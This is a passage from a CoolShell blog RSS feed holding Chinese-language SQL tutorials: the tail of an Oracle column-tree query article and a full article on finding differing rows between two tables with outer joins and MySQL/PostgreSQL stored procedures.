                              where C1.column_id = t.column_id))
                        and d.is_active = &#039;1&#039;) C
         where C.column_id = B.column_id and B.RK is null) and B.RK is null
union all
select c.*, 0 RK from np_cms_column c where c.parent_id = 0;
</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/** 2.得到栏目的虚拟父亲ID（考虑到把断层的节点接起来）**/</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">create or replace view V_NP_CTREE_PA as
select B.*,
       (case B.column_id
         when 1 then 0 else nvl(B.father, 1) end) VFA
  from (select v.*,
               (select vv.column_id
                  from V_NP_CTREE_BS vv
                 where vv.column_id = v.parent_id) FATHER
          from V_NP_CTREE_BS v) B;
</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/** 3. 取出门户需要的栏目树 **/</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">--create or replace view V_NP_CTREE_RS as
select
 D.*, LPAD(&#039; &#039;, 2 * level - 1) || SYS_CONNECT_BY_PATH(D.COLUMN_NAME, &#039;/&#039;) &amp;quot;Path&amp;quot;
  from (select c.*
          from V_NP_CTREE_PA c
         order by c.VFA, c.disorder desc, c.column_id desc) D
connect by prior D.column_id = D.VFA
 start with D.column_id = 1;
 
</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
（<strong>本文版权由whl所，转载时请注明作者和出处</strong>）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png" alt="NoSQL 数据建模技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_title">NoSQL 数据建模技术</a></li><li ><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg" alt="千万别惹程序员 " width="150" height="150" /></a><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_title">千万别惹程序员 </a></li><li ><a href="https://coolshell.cn/articles/3463.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join-150x150.png" alt="图解SQL的Join" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3463.html" class="wp_rp_title">图解SQL的Join</a></li><li ><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg" alt="6个有用的MySQL语句" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_title">6个有用的MySQL语句</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/962.html">【原创】SQL栏目树的代码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/962.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>如何比较两个数据表</title>
		<link>https://coolshell.cn/articles/925.html</link>
					<comments>https://coolshell.cn/articles/925.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 27 May 2009 15:02:14 +0000</pubDate>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[SQL]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=925</guid>

					<description><![CDATA[<p>有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/925.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/925.html">如何比较两个数据表</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要这两个表结构是一样的。</p>
<p>我们先假设一下有如下表结构：</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
CREATE TABLE jajal
(
    user_id integer NOT NULL,
    first_name character varying(255),
    last_name character varying(255),
    grade character(1),
    CONSTRAINT jajal_pkey PRIMARY KEY (user_id)
)
</pre>
<p><span id="more-925"></span><br />
然后，我们有两张表——jajal和jajal_copy，其内容如下：</p>
<h4> jajal</h4>
<table id="wptable-7" class="wptable rowstyle-alt" border="0" cellspacing="1">
<thead>
<tr>
<th class="sortable" style="width: 30px;" align="center">user_id</th>
<th class="sortable" style="width: 30px;" align="center">first_name</th>
<th class="sortable" style="width: 30px;" align="center">last_name</th>
<th class="sortable" style="width: 30px;" align="center">grade</th>
</tr>
</thead>
<tbody>
<tr>
<td style="width: 30px;" align="center">1</td>
<td style="width: 30px;" align="center">Some</td>
<td style="width: 30px;" align="center">Dude</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">2</td>
<td style="width: 30px;" align="center">Other</td>
<td style="width: 30px;" align="center">Guy</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr>
<td style="width: 30px;" align="center">3</td>
<td style="width: 30px;" align="center">You are</td>
<td style="width: 30px;" align="center">Welcome</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">4</td>
<td style="width: 30px;" align="center">What</td>
<td style="width: 30px;" align="center">Other</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr>
<td style="width: 30px;" align="center">5</td>
<td style="width: 30px;" align="center">INeed</td>
<td style="width: 30px;" align="center">You</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">Z</td>
</tr>
<tr>
<td style="width: 30px;" align="center">7</td>
<td style="width: 30px;" align="center">Kirk</td>
<td style="width: 30px;" align="center">Land</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">8</td>
<td style="width: 30px;" align="center">Bit</td>
<td style="width: 30px;" align="center">Shooter</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr>
<td style="width: 30px;" align="center">9</td>
<td style="width: 30px;" align="center">Sun</td>
<td style="width: 30px;" align="center">Microsystem</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">10</td>
<td style="width: 30px;" align="center">Extra</td>
<td style="width: 30px;" align="center">Fancy</td>
<td style="width: 30px;" align="center">B</td>
</tr>
</tbody>
</table>
<h4>jajal_copy</h4>
<table id="wptable-8" class="wptable rowstyle-alt" border="0" cellspacing="1">
<thead>
<tr>
<th class="sortable" style="width: 30px;" align="center">user_id</th>
<th class="sortable" style="width: 30px;" align="center">first_name</th>
<th class="sortable" style="width: 30px;" align="center">last_name</th>
<th class="sortable" style="width: 30px;" align="center">grade</th>
</tr>
</thead>
<tbody>
<tr>
<td style="width: 30px;" align="center">1</td>
<td style="width: 30px;" align="center">Some</td>
<td style="width: 30px;" align="center">Dude</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">2</td>
<td style="width: 30px;" align="center">Other</td>
<td style="width: 30px;" align="center">Guy</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr>
<td style="width: 30px;" align="center">3</td>
<td style="width: 30px;" align="center">You are</td>
<td style="width: 30px;" align="center">Welcome</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">4</td>
<td style="width: 30px;" align="center">What</td>
<td style="width: 30px;" align="center">Other</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr>
<td style="width: 30px;" align="center">5</td>
<td style="width: 30px;" align="center">INeed</td>
<td style="width: 30px;" align="center">You</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr>
<td style="width: 30px;" align="center">7</td>
<td style="width: 30px;" align="center">Kirk</td>
<td style="width: 30px;" align="center">Land</td>
<td style="width: 30px;" align="center">B</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">8</td>
<td style="width: 30px;" align="center">Bit</td>
<td style="width: 30px;" align="center">Shooter</td>
<td style="width: 30px;" align="center">A</td>
</tr>
<tr>
<td style="width: 30px;" align="center">9</td>
<td style="width: 30px;" align="center">Sun</td>
<td style="width: 30px;" align="center">Microsystem</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">10</td>
<td style="width: 30px;" align="center">Extra</td>
<td style="width: 30px;" align="center">Fancy</td>
<td style="width: 30px;" align="center">B</td>
</tr>
</tbody>
</table>
<p> </p>
<p>要比较这两张表的数据，找出不一样的数据行。我们可以使用<a href="http://en.wikipedia.org/wiki/Join_(SQL)#Outer_joins"><span style="color: #967001;">outer join</span></a> 技术。我给outer join做了一个链接，是Wikipedia的，如果你对这个技术不是很清楚，还请你行看看其技术细节。</p>
<p>下面是具体的SQL语句：</p>
<h4><span style="text-decoration: underline;">使用FULL OUTER JOIN</span></h4>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
SELECT
     *
FROM
     jajal j
     FULL OUTER JOIN jajal_copy jc ON jc.first_name = j.first_name
     AND jc.last_name = j.last_name
     AND jc.grade = j.grade
     AND jc.user_id = j.user_id
WHERE
     j.user_id IS NULL
     OR jc.user_id IS NULL
</pre>
<p>运行结果如下：</p>
<table id="wptable-9" class="wptable rowstyle-alt" border="0" cellspacing="1">
<thead>
<tr>
<th class="sortable" style="width: 30px;" align="center">user_id</th>
<th class="sortable" style="width: 30px;" align="center">first_name</th>
<th class="sortable" style="width: 30px;" align="center">last_name</th>
<th class="sortable" style="width: 30px;" align="center">grade</th>
<th class="sortable" style="width: 30px;" align="center">user_id</th>
<th class="sortable" style="width: 30px;" align="center">first_name</th>
<th class="sortable" style="width: 30px;" align="center">last_name</th>
<th class="sortable" style="width: 30px;" align="center">grade</th>
</tr>
</thead>
<tbody>
<tr>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">Z</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
<td style="width: 30px;" align="center">[NULL]</td>
</tr>
</tbody>
</table>
<p> </p>
<h4><span style="text-decoration: underline;">使用NATURAL FULL OUTER JOIN</span></h4>
<p>关于<a href="http://en.wikipedia.org/wiki/Join_(SQL)#Natural_join"><span style="color: #967001;">natural join</span></a>，你可以看看Wikipedia是怎么说的。</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
SELECT
       *
FROM
       jajal j
       NATURAL FULL OUTER JOIN jajal_copy jc
WHERE
       j.user_id IS NULL
       OR jc.user_id IS NULL
</pre>
<p>运行结果如下：</p>
<table id="wptable-10" class="wptable rowstyle-alt" border="0" cellspacing="1">
<thead>
<tr>
<th class="sortable" style="width: 30px;" align="center">user_id</th>
<th class="sortable" style="width: 30px;" align="center">first_name</th>
<th class="sortable" style="width: 30px;" align="center">last_name</th>
<th class="sortable" style="width: 30px;" align="center">grade</th>
</tr>
</thead>
<tbody>
<tr>
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">C</td>
</tr>
<tr class="alt">
<td style="width: 30px;" align="center">6</td>
<td style="width: 30px;" align="center">Mixed</td>
<td style="width: 30px;" align="center">Nuts</td>
<td style="width: 30px;" align="center">Z</td>
</tr>
</tbody>
</table>
<p> </p>
<h4><span style="text-decoration: underline;">MySQL SQL 代码</span></h4>
<pre>MySQL 并不支持 FULL OUTER JOIN，但是我们可以使用LEFT JOIN 和 RIGHT JOIN 来实现这一功能。如下所示。</pre>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
SELECT
*
FROM
jajal j
LEFT JOIN jajal_copy jc ON jc.first_name = j.first_name
AND jc.last_name = j.last_name
AND jc.grade = j.grade
AND jc.user_id = j.user_id
WHERE
jc.user_id IS NULL
UNION ALL
SELECT
*
FROM
jajal j
RIGHT JOIN jajal_copy jc ON jc.first_name = j.first_name
AND jc.last_name = j.last_name
AND jc.grade = j.grade
AND jc.user_id = j.user_id
WHERE
j.user_id IS NULL
</pre>
<p>或者你更喜欢NATURAL JOIN 版本</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
SELECT
*
FROM
jajal j
NATURAL LEFT JOIN jajal_copy jc
WHERE
jc.user_id IS NULL
UNION ALL
SELECT
*
FROM
jajal j
NATURAL RIGHT JOIN jajal_copy jc
WHERE
j.user_id IS NULL
</pre>
<p>当然，如果你需要一个MySQL的存储过程的话，下面是一个示例：</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
DELIMITER $$

CREATE PROCEDURE `db_schema`.`tablediff`
    (schema_name VARCHAR(64), table1 VARCHAR(64), table2 VARCHAR(64))
BEGIN
    DECLARE done INT DEFAULT 0;
    DECLARE sql_statement TEXT DEFAULT &#039;&#039;;
    DECLARE sql_statement_where TEXT DEFAULT &#039;&#039;;
    DECLARE sql_statement_pk TEXT DEFAULT &#039;&#039;;
    DECLARE col_name VARCHAR(64);
    DECLARE col_name_cur CURSOR FOR
        SELECT
            COLUMN_NAME
        FROM
            information_schema.COLUMNS
        WHERE
            TABLE_SCHEMA = schema_name
            AND TABLE_NAME = table1
    ;
    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;

    OPEN col_name_cur;
    traverse_columns: LOOP
        FETCH col_name_cur INTO col_name;

        IF done THEN
            CLOSE col_name_cur;
            LEAVE traverse_columns;
        END IF;

        SET sql_statement_where = CONCAT(sql_statement_where,
            &#039; AND a.&#039;, col_name, &#039; = b.&#039;, col_name);
        SET sql_statement_pk = CONCAT(sql_statement_pk,
            &#039;AND b.&#039;, col_name, &#039; IS NULL&#039;);
    END LOOP;

    SELECT
        COLUMN_NAME INTO col_name
    FROM
        information_schema.KEY_COLUMN_USAGE
    WHERE
        CONSTRAINT_SCHEMA = schema_name
        AND CONSTRAINT_NAME = &#039;PRIMARY&#039;
        AND TABLE_NAME = table1
    LIMIT 1
    ;
    IF col_name IS NOT NULL THEN
        SET sql_statement_pk = CONCAT(&#039;AND b.&#039;, col_name, &#039; IS NULL&#039;);
    END IF;

    SET sql_statement = CONCAT(&#039;SELECT * FROM &#039;, schema_name, &#039;.&#039;, table1, &#039; a LEFT JOIN &#039;, schema_name, &#039;.&#039;, table2, &#039; b ON TRUE&#039;);
    SET sql_statement = CONCAT(sql_statement, sql_statement_where, &#039; WHERE TRUE &#039;, sql_statement_pk);
    SET sql_statement = CONCAT(sql_statement, &#039; UNION ALL SELECT * FROM &#039;, schema_name, &#039;.&#039;, table1, &#039; b RIGHT JOIN &#039;, schema_name, &#039;.&#039;, table2, &#039; a ON TRUE&#039;);
    SET sql_statement = CONCAT(sql_statement, sql_statement_where, &#039; WHERE TRUE &#039;, sql_statement_pk);

    SET @s = sql_statement;
    PREPARE stmt1 FROM @s;
    EXECUTE stmt1;
    DEALLOCATE PREPARE stmt1;

END$$
DELIMITER ;
</pre>
<p> </p>
<p> </p>
<h4><span style="text-decoration: underline;">PostgreSQL 下的SQL语句</span></h4>
<p>下面是PostgreSQL的一个存储过程：</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">
CREATE OR REPLACE FUNCTION tablediff (
    IN schema_name VARCHAR(64),
    IN table1 VARCHAR(64),
    IN table2 VARCHAR(64)
) RETURNS BIGINT AS
$BODY$
DECLARE
    the_result BIGINT DEFAULT 0;
    sql_statement TEXT DEFAULT &#039;&#039;;
    sql_statement_where TEXT DEFAULT &#039;&#039;;
    sql_statement_pk TEXT DEFAULT &#039;&#039;;
    col_name VARCHAR(64);
    col_name_cur CURSOR FOR
        SELECT
            column_name
        FROM
            information_schema.columns
        WHERE
            table_catalog = schema_name
            AND table_schema = &#039;public&#039;
            AND table_name = table1
    ;
BEGIN
    OPEN col_name_cur;

    LOOP
        FETCH col_name_cur INTO col_name;
        IF NOT FOUND THEN
            EXIT;
        END IF;

        sql_statement_where := sql_statement_where || &#039; AND a.&#039; || col_name || &#039; = b.&#039; || col_name;
    END LOOP;

    SELECT
        column_name INTO col_name
    FROM
        information_schema.table_constraints tc
        JOIN information_schema.constraint_column_usage ccu ON
            ccu.constraint_name = tc.constraint_name
    WHERE
        tc.table_catalog = schema_name
        AND tc.table_schema = &#039;public&#039;
        AND tc.table_name = table1
    LIMIT 1
    ;

    IF col_name IS NOT NULL THEN
        sql_statement_pk := &#039; a.&#039; || col_name || &#039; IS NULL&#039;;
        sql_statement_pk := sql_statement_pk || &#039; OR b.&#039; || col_name || &#039; IS NULL&#039;;
    END IF;

    sql_statement := &#039;SELECT COUNT(*) FROM &#039; || schema_name || &#039;.public.&#039; || table1 || &#039; a FULL OUTER JOIN &#039; || schema_name || &#039;.public.&#039; || table2 || &#039; b ON TRUE&#039;;
    sql_statement := sql_statement || sql_statement_where || &#039; WHERE &#039; || sql_statement_pk;

    EXECUTE sql_statement INTO the_result;

    RETURN the_result;
END;$BODY$
LANGUAGE &#039;plpgsql&#039; STABLE;
</pre>
<p> </p>
<p>文章：<a href="http://www.microshell.com/database/sql/comparing-data-from-2-database-tables/" target="_blank">来源</a><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg" alt="6个有用的MySQL语句" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3433.html" class="wp_rp_title">6个有用的MySQL语句</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png" alt="NoSQL 数据建模技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7270.html" class="wp_rp_title">NoSQL 数据建模技术</a></li><li ><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg" alt="千万别惹程序员 " width="150" height="150" /></a><a href="https://coolshell.cn/articles/6639.html" class="wp_rp_title">千万别惹程序员 </a></li><li ><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg" alt="Quora使用到的技术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4939.html" class="wp_rp_title">Quora使用到的技术</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/925.html">如何比较两个数据表</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/925.html/feed</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
	</channel>
</rss>
